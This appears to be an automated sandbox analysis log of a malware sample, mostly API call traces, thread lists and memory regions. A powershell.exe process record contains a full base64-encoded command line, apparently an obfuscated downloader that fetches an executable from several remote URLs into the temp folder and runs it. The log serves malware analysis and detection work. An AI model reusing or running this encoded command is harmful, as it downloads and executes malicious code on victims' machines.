[0102.488] CRetailMalloc_Free () returned 0xd060001
[0102.488] CRetailMalloc_Free () returned 0xcff0001
[0102.488] CRetailMalloc_Free () returned 0xcf80001
[0102.488] CRetailMalloc_Free () returned 0xcf10001
[0102.488] CRetailMalloc_Free () returned 0xcea0001
[0102.488] CRetailMalloc_Free () returned 0xce30001
[0102.488] CRetailMalloc_Free () returned 0xcdc0001
[0102.488] CRetailMalloc_Free () returned 0xcd50001
[0102.488] CRetailMalloc_Free () returned 0xca40001
[0102.488] CRetailMalloc_Free () returned 0xcb90001
[0102.488] CRetailMalloc_Free () returned 0x12e0001
[0102.488] CRetailMalloc_Free () returned 0x1100001
[0102.488] CRetailMalloc_Free () returned 0xaa0001
[0102.488] CRetailMalloc_Free () returned 0x7ca0001
[0102.488] CRetailMalloc_Free () returned 0x83c0001
[0102.488] CRetailMalloc_Free () returned 0x81b0001
[0102.488] CRetailMalloc_Free () returned 0x7e50001
[0102.488] CRetailMalloc_Free () returned 0x7c70001
[0102.488] CRetailMalloc_Free () returned 0x8000001
[0102.488] CRetailMalloc_Free () returned 0x8270001
[0102.488] CRetailMalloc_Free () returned 0x7eb0001
[0102.488] CRetailMalloc_Free () returned 0x7d30001
[0102.488] CRetailMalloc_Free () returned 0x81e0001
[0102.488] CRetailMalloc_Free () returned 0x8300001
[0102.488] CRetailMalloc_Free () returned 0x7f40001
[0102.489] CRetailMalloc_Free () returned 0x8180001
[0102.489] CRetailMalloc_Free () returned 0x8090001
[0102.489] CRetailMalloc_Free () returned 0x7fa0001
[0102.489] CRetailMalloc_Free () returned 0x7c40001
[0102.489] CRetailMalloc_Free () returned 0x8360001
[0102.489] CRetailMalloc_Free () returned 0x8060001
[0102.489] CRetailMalloc_Free () returned 0x8330001
[0102.489] CRetailMalloc_Free () returned 0x8480001
[0102.489] CRetailMalloc_Free () returned 0x7e20001
[0102.489] CRetailMalloc_Free () returned 0x7dc0001
[0102.489] CRetailMalloc_Free () returned 0x8570001
[0102.489] CRetailMalloc_Free () returned 0x7f70001
[0102.489] CRetailMalloc_Free () returned 0x84b0001
[0102.489] CRetailMalloc_Free () returned 0x3d70001
[0102.489] CRetailMalloc_Alloc () returned 0x771e6a0
[0102.489] CRetailMalloc_Realloc () returned 0x77a7668
[0102.489] CRetailMalloc_Alloc () returned 0x1bb5188
[0102.489] CRetailMalloc_Alloc () returned 0x1bb50a8
[0102.489] CRetailMalloc_Alloc () returned 0x4492628
[0102.489] CRetailMalloc_Realloc () returned 0x75f0f30
[0102.489] CRetailMalloc_Alloc () returned 0x58124e0
[0102.489] CRetailMalloc_Alloc () returned 0x55507d8
[0102.489] CRetailMalloc_Alloc () returned 0x5728480
[0102.489] CRetailMalloc_Alloc () returned 0x1bb5348
[0102.489] CRetailMalloc_Realloc () returned 0x5550e50
[0102.489] CRetailMalloc_Alloc () returned 0x76aef10
[0102.489] CRetailMalloc_Realloc () returned 0x760a0a0
[0102.489] CRetailMalloc_Free () returned 0x5b60001
[0102.489] CRetailMalloc_Free () returned 0xffff0001
[0102.489] CRetailMalloc_Free () returned 0x1
[0102.489] CRetailMalloc_Free () returned 0xffff0001
[0102.489] CRetailMalloc_Free () returned 0x470001
[0102.489] CRetailMalloc_Free () returned 0x15b0001
[0102.489] CRetailMalloc_Free () returned 0x33e0001
[0102.490] CRetailMalloc_Free () returned 0x22a0001
[0102.490] CRetailMalloc_Free () returned 0xd10001
[0102.490] CRetailMalloc_Free () returned 0x1a00001
[0102.490] CRetailMalloc_Free () returned 0x1
[0102.490] IUnknown:Release (This=0x75e9628) returned 0x4
[0102.490] IUnknown:Release (This=0x75e82c0) returned 0x9
[0102.490] IUnknown:Release (This=0x5810260) returned 0x5
[0102.490] IUnknown:Release (This=0x757e058) returned 0x4
[0102.490] FreeLibrary (hLibModule=0x72570000) returned 1
[0102.490] CRetailMalloc_Free () returned 0x11f0001
[0102.490] CRetailMalloc_Free () returned 0xcce0001
[0102.490] CRetailMalloc_Free () returned 0x10c0001
[0102.490] CRetailMalloc_Free () returned 0x720001
[0102.490] CRetailMalloc_Free () returned 0x3ca0401
[0102.490] CRetailMalloc_Free () returned 0x560001
[0102.490] CRetailMalloc_Free () returned 0x1e50001
[0102.490] CRetailMalloc_Free () returned 0x1a00001
[0102.490] CRetailMalloc_Free () returned 0x20001
[0102.490] CRetailMalloc_Free () returned 0x2f90001
[0102.490] CRetailMalloc_Free () returned 0x26f0001
[0102.490] CRetailMalloc_Free () returned 0x15b0001
[0102.490] CRetailMalloc_Free () returned 0x1e50001
[0102.490] CRetailMalloc_Free () returned 0x1160001
[0102.490] CRetailMalloc_Free () returned 0xd10001
[0102.490] CRetailMalloc_Free () returned 0x1160001
[0102.490] CRetailMalloc_Free () returned 0x2be0001
[0102.490] CRetailMalloc_Free () returned 0x7be0001
[0102.490] CRetailMalloc_Free () returned 0x3d70001
[0102.490] CRetailMalloc_Free () returned 0xfbc0001
[0102.490] CRetailMalloc_Free () returned 0x7bb0001
[0102.490] CRetailMalloc_Free () returned 0x1c40001
[0102.490] CRetailMalloc_Alloc () returned 0x7605348
[0102.490] CRetailMalloc_Alloc () returned 0x5563928
[0102.491] CRetailMalloc_Alloc () returned 0x570e2d0
[0102.491] CRetailMalloc_Free () returned 0xec0001
[0102.491] CRetailMalloc_Alloc () returned 0x5570378
[0102.491] CRetailMalloc_Free () returned 0x12a0001
[0102.492] CRetailMalloc_Alloc () returned 0x753fad8
[0102.492] CRetailMalloc_Free () returned 0x2be0001
[0102.492] CRetailMalloc_Alloc () returned 0x570e2d0
[0102.492] CRetailMalloc_Free () returned 0xec0001
[0102.492] wcscpy_s (in: _Destination=0x757c450, _SizeInWords=0x108, _Source="*\\Z055b7b463d" | out: _Destination="*\\Z055b7b463d") returned 0x0
[0102.492] IUnknown:Release (This=0x75e9628) returned 0x3
[0102.492] IUnknown:Release (This=0x75e82c0) returned 0x8
[0102.492] IUnknown:Release (This=0x5810260) returned 0x4
[0102.492] IUnknown:Release (This=0x757e058) returned 0x3
[0102.492] IUnknown:Release (This=0x756c588) returned 0x4
[0102.492] IUnknown:Release (This=0x757de34) returned 0x1
[0102.492] CExposedDocFile::Release () returned 0x2
[0102.492] CExposedDocFile::Release () returned 0x1
[0102.493] CRetailMalloc_Free () returned 0x520001
[0102.493] CRetailMalloc_Free () returned 0x840001
[0102.493] CRetailMalloc_Free () returned 0x34a0001
[0102.494] CExposedDocFile::Release () returned 0x0
[0102.494] CExposedDocFile::Release () returned 0x0
[0102.494] CRetailMalloc_Free () returned 0x1
[0102.516] CExposedDocFile::Release () returned 0x3
[0102.516] CExposedDocFile::Release () returned 0x2
[0102.516] CExposedStream::Seek () returned 0x0
[0102.516] CRetailMalloc_Free () returned 0x1
[0102.516] CExposedDocFile::Release () returned 0x1
[0102.516] CExposedStream::Seek () returned 0x0
[0102.516] CRetailMalloc_Free () returned 0x1
[0102.517] IUnknown:AddRef (This=0x756c588) returned 0x5
[0102.517] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c588, ppTypeAttr=0x30a3d8, pDummy=0x0 | out: ppTypeAttr=0x30a3d8, pDummy=0x0) returned 0x0
[0102.517] ITypeInfo:LocalReleaseTypeAttr (This=0x756c588) returned 0x74d3dd0
[0102.517] IUnknown:Release (This=0x756c588) returned 0x4
[0102.517] CRetailMalloc_Free () returned 0xa20001
[0102.517] CRetailMalloc_Free () returned 0x2620001
[0102.517] CExposedDocFile::Release () returned 0x1
[0102.517] CExposedDocFile::Release () returned 0x0
[0102.517] CExposedDocFile::Release () returned 0x0
[0102.518] IUnknown:Release (This=0x756c480) returned 0x0
[0102.518] CRetailMalloc_Free () returned 0x1e40001
[0102.518] CRetailMalloc_Free () returned 0xf60001
[0102.518] CRetailMalloc_Free () returned 0x1
[0102.518] CRetailMalloc_Free () returned 0x1ac0001
[0102.518] CRetailMalloc_Free () returned 0x1
[0102.518] IUnknown:Release (This=0x756c588) returned 0x3
[0102.518] CRetailMalloc_Free () returned 0x5980001
[0102.518] CRetailMalloc_Free () returned 0x3830001
[0102.518] CRetailMalloc_Free () returned 0x8c0001
[0102.518] CRetailMalloc_Free () returned 0x1160001
[0102.518] CRetailMalloc_Free () returned 0x1e50001
[0102.518] CRetailMalloc_Free () returned 0x15b0001
[0102.518] CRetailMalloc_Free () returned 0x1
[0102.518] IUnknown:Release (This=0x756c55c) returned 0x0
[0102.518] IUnknown:Release (This=0x756c588) returned 0x2
[0102.518] IUnknown:Release (This=0x756c504) returned 0x0
[0102.518] CRetailMalloc_Realloc () returned 0x0
[0102.518] CRetailMalloc_Alloc () returned 0x760a310
[0102.518] CRetailMalloc_Free () returned 0x22a0001
[0102.518] CRetailMalloc_Free () returned 0x7f0101
[0102.518] CRetailMalloc_Free () returned 0x35c0001
[0102.518] IUnknown:Release (This=0x756c588) returned 0x1
[0102.518] CRetailMalloc_Free () returned 0xe880001
[0102.518] CRetailMalloc_Free () returned 0x1
[0102.518] CRetailMalloc_Free () returned 0x182a0401
[0102.519] CRetailMalloc_Free () returned 0x7a0101
[0102.519] CRetailMalloc_Free () returned 0x7cd0001
[0102.519] CRetailMalloc_Free () returned 0xce0001
[0102.519] CRetailMalloc_Free () returned 0x1ca0001
[0102.519] CRetailMalloc_Free () returned 0x2260001
[0102.519] CRetailMalloc_Free () returned 0x1
[0102.519] CRetailMalloc_Free () returned 0xcfa0401
[0102.519] CRetailMalloc_Free () returned 0xd0e0401
[0102.519] CRetailMalloc_Free () returned 0x15b0001
[0102.519] CRetailMalloc_Free () returned 0x800001
[0102.519] CRetailMalloc_Free () returned 0xe930001
[0102.519] CRetailMalloc_Free () returned 0x1ce0001
[0102.519] IUnknown:Release (This=0x75e9628) returned 0x2
[0102.519] IUnknown:Release (This=0x75e82c0) returned 0x4
[0102.519] IUnknown:Release (This=0x5810260) returned 0x3
[0102.519] IUnknown:Release (This=0x757e058) returned 0x2
[0102.519] CRetailMalloc_Free () returned 0x7c10001
[0102.519] CRetailMalloc_Free () returned 0xd220401
[0102.519] CRetailMalloc_Free () returned 0x7af0001
[0102.519] VirtualFree (lpAddress=0x8390000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0102.520] CRetailMalloc_Free () returned 0xcde0401
[0102.520] VirtualFree (lpAddress=0x81f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0102.521] VirtualFree (lpAddress=0x81e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0102.521] CRetailMalloc_Free () returned 0xbd0001
[0102.521] CRetailMalloc_Free () returned 0x8e0001
[0102.521] CRetailMalloc_Free () returned 0x1
[0102.521] CRetailMalloc_Free () returned 0x1c80001
[0102.521] CRetailMalloc_Free () returned 0xea90001
[0102.521] CRetailMalloc_Free () returned 0x1
[0102.521] CRetailMalloc_Free () returned 0x1
[0102.521] CRetailMalloc_Realloc () returned 0x0
[0102.521] CRetailMalloc_Alloc () returned 0x7609f30
[0102.521] CRetailMalloc_Free () returned 0x1c80001
[0102.521] CRetailMalloc_Free () returned 0x1de0001
[0102.521] CRetailMalloc_Free () returned 0x36e0001
[0102.521] IUnknown:Release (This=0x756c588) returned 0x0
[0102.522] CRetailMalloc_Free () returned 0xeb40001
[0102.522] CRetailMalloc_Free () returned 0x1
[0102.522] CRetailMalloc_Free () returned 0x1dc0001
[0102.522] CRetailMalloc_Free () returned 0x80c0001
[0102.522] CRetailMalloc_Free () returned 0x2cc0001
[0102.522] CRetailMalloc_Free () returned 0x1d60001
[0102.522] CRetailMalloc_Free () returned 0x1aa0001
[0102.522] CRetailMalloc_Free () returned 0x1
[0102.522] CRetailMalloc_Free () returned 0x14c0001
[0102.522] CRetailMalloc_Free () returned 0x9c0001
[0102.522] CRetailMalloc_Free () returned 0xeca0001
[0102.522] CRetailMalloc_Free () returned 0x1
[0102.522] CRetailMalloc_Free () returned 0x1
[0102.522] CRetailMalloc_Free () returned 0x1
[0102.522] CRetailMalloc_Free () returned 0x1d40001
[0102.522] CRetailMalloc_Free () returned 0x1
[0102.522] CRetailMalloc_Realloc () returned 0x0
[0102.522] CRetailMalloc_Alloc () returned 0x760a110
[0102.522] CRetailMalloc_Free () returned 0x1d40001
[0102.522] CRetailMalloc_Free () returned 0x1ea0001
[0102.522] CRetailMalloc_Free () returned 0xe720001
[0102.522] CRetailMalloc_Free () returned 0x1
[0102.522] CRetailMalloc_Free () returned 0x1ec0001
[0102.522] CRetailMalloc_Free () returned 0x7f10001
[0102.522] CRetailMalloc_Free () returned 0x2770001
[0102.522] CRetailMalloc_Free () returned 0x1e20001
[0102.522] CRetailMalloc_Free () returned 0x1e60001
[0102.522] CRetailMalloc_Free () returned 0x1
[0102.522] CRetailMalloc_Free () returned 0x82d0001
[0102.522] CRetailMalloc_Free () returned 0x1790001
[0102.522] CRetailMalloc_Free () returned 0xd40001
[0102.522] CRetailMalloc_Free () returned 0xebf0001
[0102.522] CRetailMalloc_Free () returned 0x1e00001
[0102.522] IUnknown:Release (This=0x75e9628) returned 0x1
[0102.522] IUnknown:Release (This=0x75e82c0) returned 0x2
[0102.522] IUnknown:Release (This=0x5810260) returned 0x2
[0102.522] IUnknown:Release (This=0x757e058) returned 0x1
[0102.522] CRetailMalloc_Free () returned 0x8210001
[0102.522] CRetailMalloc_Free () returned 0xca0101
[0102.522] CRetailMalloc_Free () returned 0x69c0001
[0102.522] CRetailMalloc_Realloc () returned 0x0
[0102.522] CRetailMalloc_Alloc () returned 0x760a0a0
[0102.522] CRetailMalloc_Free () returned 0x1e00001
[0102.522] CRetailMalloc_Free () returned 0xd90101
[0102.522] CRetailMalloc_Free () returned 0x2fc0001
[0102.522] CRetailMalloc_Free () returned 0x1
[0102.522] CRetailMalloc_Free () returned 0x9d0101
[0102.522] CRetailMalloc_Free () returned 0x8240001
[0102.522] CRetailMalloc_Free () returned 0x9b0001
[0102.522] CRetailMalloc_Free () returned 0x1f20001
[0102.522] CRetailMalloc_Free () returned 0x1d80001
[0102.522] CRetailMalloc_Free () returned 0x1
[0102.522] CRetailMalloc_Free () returned 0x34a0001
[0102.523] CRetailMalloc_Free () returned 0x4860401
[0102.523] CRetailMalloc_Free () returned 0x8510001
[0102.523] VirtualFree (lpAddress=0x5070000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0102.523] VirtualFree (lpAddress=0x81d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0102.523] CRetailMalloc_Free () returned 0x1dbe0401
[0102.523] VirtualFree (lpAddress=0x81b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0102.524] VirtualFree (lpAddress=0x5050000, dwSize=0x0, dwFreeType=0x8000) returned 1
[0102.524] CRetailMalloc_Free () returned 0xffff0001
[0102.524] CRetailMalloc_Free () returned 0x3350001
[0102.524] CRetailMalloc_Free () returned 0x1
[0102.524] CRetailMalloc_Free () returned 0x78b0001
[0102.524] CRetailMalloc_Free () returned 0xf20001
[0102.524] CRetailMalloc_Free () returned 0x1
[0102.524] CRetailMalloc_Free () returned 0x1
[0102.562] CRetailMalloc_Free () returned 0x2c00001
[0102.562] CRetailMalloc_Free () returned 0x35c0001
[0104.290] CRetailMalloc_Free () returned 0x1040001
[0104.290] CRetailMalloc_Free () returned 0x7910001
[0104.290] CRetailMalloc_Free () returned 0x8120001
Thread:
id = 20
os_tid = 0xa8c
Thread:
id = 21
os_tid = 0xa90
Thread:
id = 22
os_tid = 0xab4
Thread:
id = 23
os_tid = 0xacc
Thread:
id = 52
os_tid = 0xbb8
Thread:
id = 86
os_tid = 0xcb0
Thread:
id = 87
os_tid = 0xcb4
Thread:
id = 88
os_tid = 0xcb8
Process:
id = "2"
image_name = "powershell.exe"
filename = "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe"
page_root = "0x7f13e6a0"
os_pid = "0xad4"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "child_process"
parent_id = "1"
os_parent_pid = "0x9f8"
cmd_line = "powershell -e JAB7AHcAYABzAGAAYwBSAEkAcAB0AH0AIAA9ACAAJgAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAIAAnAG8AYgBqAGUAYwB0ACcALAAnAGUAdwAtACcALAAnAG4AJwApACAALQBDAG8AbQBPAGIAagBlAGMAdAAgACgAIgB7ADQAfQB7ADIAfQB7ADEAfQB7ADMAfQB7ADAAfQAiACAALQBmACAAJwBsAGwAJwAsACcAUwAnACwAJwAuACcALAAnAGgAZQAnACwAJwBXAFMAYwByAGkAcAB0ACcAKQA7ACQAewBXAGUAQgBjAGwAYABpAGAARQBOAHQAfQAgAD0AIAAuACgAIgB7ADAAfQB7ADEAfQB7ADIAfQB7ADMAfQAiACAALQBmACAAJwBuAGUAdwAtACcALAAnAG8AJwAsACcAYgAnACwAJwBqAGUAYwB0ACcAKQAgACgAIgB7ADQAfQB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiACAALQBmACAAJwBsAGkAZQAnACwAJwB0AGUAbQAuAE4AZQB0ACcALAAnAG4AdAAnACwAJwAuAFcAZQBiAEMAJwAsACcAUwB5AHMAJwApADsAJAB7AHIAYQBgAE4ARABPAE0AfQAgAD0AIAAmACgAIgB7ADMAfQB7ADIAfQB7ADEAfQB7ADAAfQAiACAALQBmACcAYwB0ACcALAAnAGIAagBlACcALAAnAGUAdwAtAG8AJwAsACcAbgAnACkAIAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAHIAYQBuAGQAbwAnACwAJwBtACcAKQA7ACQAewB1AGAAUgBsAFMAfQAgAD0AIAAoACIAewAxADcAfQB7ADIAMQB9AHsAMQAxAH0AewAxADUAfQB7ADEAfQB7ADMAfQB7ADMAOAB9AHsAMwA5AH0AewAzADcAfQB7ADIAMgB9AHsAMQAwAH0AewA2AH0AewAzADEAfQB7ADAAfQB7ADMANAB9AHsAMQA2AH0AewAyADYAfQB7ADMAMAB9AHsAMgAwAH0AewAxADQAfQB7ADkAfQB7ADMANgB9AHsAMgAzAH0AewA4AH0AewAyADQAfQB7ADIANQB9AHsAMgA5AH0AewAyADgAfQB7ADEAMgB9AHsANQB9AHsAMgB9AHsAMQA5AH0AewAyADcAfQB7ADcAfQB7ADEAMwB9AHsANAB9AHsAMQA4AH0AewAzADMAfQB7ADMANQB9AHsAMwAyAH0AIgAgAC0AZgAgACcAZQBhAHQAcwBwAGEAJwAsACcAaQBuAGUAJwAsACcAcwAuAGMAJwAsACcAYQBsAC4AYwBvAG0AJwAsACcAZwAnACwAJwBsAHUAJwAsACcAaAAnACwAJwByAGUAcwBzAC8AJwAsACcAZQBzAC4AbgBlACcALAAnAC8ALABoAHQAdABwACcALAAnACwAJwAsACcALwBrAGUAJwAsACcALwBiAG0AYQBzAHQAZQByAHAAJwAsACcARAAnACwAJwB5AHIAcgAnACwAJwByACcALAAnAC4AdQBrAC8AVgBRAC8ALABoAHQAdABwADoALwAvAHUAbQBlACcALAAnAGgAdAB0ACcALAAnAE4AJwAsACcAbwBtAC8AJwAsACcAbwBtAC8AJwAsACcAcAA6AC8AJwAsACcALwBoAFEAbwBCAG0ALwAnACwAJwAvAC8AbgB5AGUAcgBnACcALAAnAHQALwAnACwAJwBxAHEAcgAvACwAJwAsACcAeAAnACwAJwB3AG8AcgBkAHAAJwAsACcAcAA6AC8AJwAsACcAaAB0AHQAJwAsACcAeAAuAGMAJwAsACcAdAB0AHAAOgAvAC8AJwAsACcASgBGAGgALwAnACwAJwBuAGsAJwAsACcAbQAuAGMAbwAnACwAJwBHACcALAAnADoAJwAsACcAdAAnACwAJwAvAHMAJwAsACcAaQBtAHAAbAB5AGUAbABlAGcAYQBuACcAKQAuACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAbABpAHQAJwAsACcAUwBwACcAKQAuAEkAbgB2AG8AawBlACgAJwAsACcAKQA7ACQAewBuAGAAQQBtAEUAfQAgAD0AIAAkAHsAcgBhAG4ARABgAE8ATQB9AC4AKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAHQAJwAsACcAbgBlAHgAJwApAC4ASQBuAHYAbwBrAGUAKAAxACwAIAA2ADUANQAzADYAKQA7ACQAewBQAGAAQQBUAEgAfQAgAD0AIAAkAHsARQBgAE4AdgA6AGAAVABFAE0AUAB9ACAAKwAgACcAXAAnACAAKwAgACQAewBOAGAAQQBtAEUAfQAgACsAIAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBlAHgAZQAnACwAJwAuACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHsAdQBgAFIAbAB9ACAAaQBuACAAJAB7AFUAUgBgAGwAUwB9ACkAewB0AHIAeQB7ACQAewB3AEUAYgBgAGMATABJAGUAYABOAHQAfQAuACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAG4AbAAnACwAJwBEAG8AdwAnACwAJwBvAGEAZABGAGkAbABlACcAKQAuAEkAbgB2AG8AawBlACgAJAB7AHUAYABSAEwAfQAuACgAIgB7ADIAfQB7ADEAfQB7ADAAfQAiAC0AZgAgACcAbgBnACcALAAnAGkAJwAsACcAVABvAFMAdAByACcAKQAuAEkAbgB2AG8AawBlACgAKQAsACAAJAB7AFAAYABBAHQAaAB9ACkAOwAmACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiACAALQBmACAAJwBTACcALAAnAHQAYQByAHQALQAnACwAJwBQAHIAbwBjAGUAcwBzACcAKQAgACQAewBQAEEAYABUAEgAfQA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsALgAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAJwBpAHQAZQAtAGgAbwBzAHQAJwAsACcAcgAnACwAJwB3ACcAKQAgACQAewBfAH0ALgAiAEUAeABDAGAAZQBgAFAAVABpAE8ATgAiAC4AIgBtAGUAcwBzAGAAQQBgAGcAZQAiADsAfQB9AA0ACgA="
cur_dir = "C:\\Users\\ATVeyDl98Z\\Desktop\\"
os_username = "ZJEWV7F\\ATVeyDl98Z"
os_groups = "ZJEWV7F\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f73d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 500
start_va = 0x10000
end_va = 0x2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 501
start_va = 0x30000
end_va = 0x33fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 502
start_va = 0x40000
end_va = 0x40fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000040000"
filename = ""
Region:
id = 503
start_va = 0x130000
end_va = 0x16ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000130000"
filename = ""
Region:
id = 504
start_va = 0x220b0000
end_va = 0x22121fff
entry_point = 0x220b7363
region_type = mapped_file
name = "powershell.exe"
filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")
Region:
id = 505
start_va = 0x775c0000
end_va = 0x776fbfff
entry_point = 0x775c0000
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 506
start_va = 0x77800000
end_va = 0x77800fff
entry_point = 0x77800000
region_type = mapped_file
name = "apisetschema.dll"
filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")
Region:
id = 507
start_va = 0x7ffb0000
end_va = 0x7ffd2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007ffb0000"
filename = ""
Region:
id = 508
start_va = 0x7ffd4000
end_va = 0x7ffd4fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd4000"
filename = ""
Region:
id = 509
start_va = 0x7ffdf000
end_va = 0x7ffdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdf000"
filename = ""
Region:
id = 510
start_va = 0x2b0000
end_va = 0x3affff
entry_point = 0x0
region_type = private
name = "private_0x00000000002b0000"
filename = ""
Region:
id = 511
start_va = 0x758d0000
end_va = 0x75919fff
entry_point = 0x758d7de0
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 512
start_va = 0x76350000
end_va = 0x76423fff
entry_point = 0x7639bde4
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 513
start_va = 0x10000
end_va = 0x1ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 514
start_va = 0x20000
end_va = 0x2ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000020000"
filename = ""
Region:
id = 515
start_va = 0x50000
end_va = 0xb6fff
entry_point = 0x50000
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 516
start_va = 0x60610000
end_va = 0x60659fff
entry_point = 0x60612e54
region_type = mapped_file
name = "mscoree.dll"
filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll")
Region:
id = 517
start_va = 0x741e0000
end_va = 0x741f3fff
entry_point = 0x741e0000
region_type = mapped_file
name = "atl.dll"
filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll")
Region:
id = 518
start_va = 0x75a70000
end_va = 0x75b0cfff
entry_point = 0x75aa3fd7
region_type = mapped_file
name = "usp10.dll"
filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")
Region:
id = 519
start_va = 0x75b10000
end_va = 0x75b19fff
entry_point = 0x75b1136c
region_type = mapped_file
name = "lpk.dll"
filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")
Region:
id = 520
start_va = 0x75b60000
end_va = 0x75c00fff
entry_point = 0x75b92433
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 521
start_va = 0x75c10000
end_va = 0x75cd8fff
entry_point = 0x75c2d711
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 522
start_va = 0x76030000
end_va = 0x760cffff
entry_point = 0x760449e5
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 523
start_va = 0x760e0000
end_va = 0x76136fff
entry_point = 0x760f9ba6
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 524
start_va = 0x76330000
end_va = 0x76348fff
entry_point = 0x76334975
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 525
start_va = 0x773b0000
end_va = 0x7745bfff
entry_point = 0x773ba472
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 526
start_va = 0x77460000
end_va = 0x775bbfff
entry_point = 0x774aba3d
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")
Region:
id = 527
start_va = 0x77710000
end_va = 0x7775dfff
entry_point = 0x77719c09
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 528
start_va = 0x77760000
end_va = 0x777eefff
entry_point = 0x77763fb1
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 529
start_va = 0x7f6f0000
end_va = 0x7f7effff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f6f0000"
filename = ""
Region:
id = 530
start_va = 0x1f0000
end_va = 0x1fffff
entry_point = 0x0
region_type = private
name = "private_0x00000000001f0000"
filename = ""
Region:
id = 531
start_va = 0x3b0000
end_va = 0x477fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000003b0000"
filename = ""
Region:
id = 532
start_va = 0x77140000
end_va = 0x7715efff
entry_point = 0x77141355
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 533
start_va = 0x772e0000
end_va = 0x773abfff
entry_point = 0x772e168b
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")
Region:
id = 534
start_va = 0xc0000
end_va = 0xc6fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000000c0000"
filename = ""
Region:
id = 535
start_va = 0xd0000
end_va = 0xd1fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000000d0000"
filename = ""
Region:
id = 536
start_va = 0xe0000
end_va = 0xe2fff
entry_point = 0xe0000
region_type = mapped_file
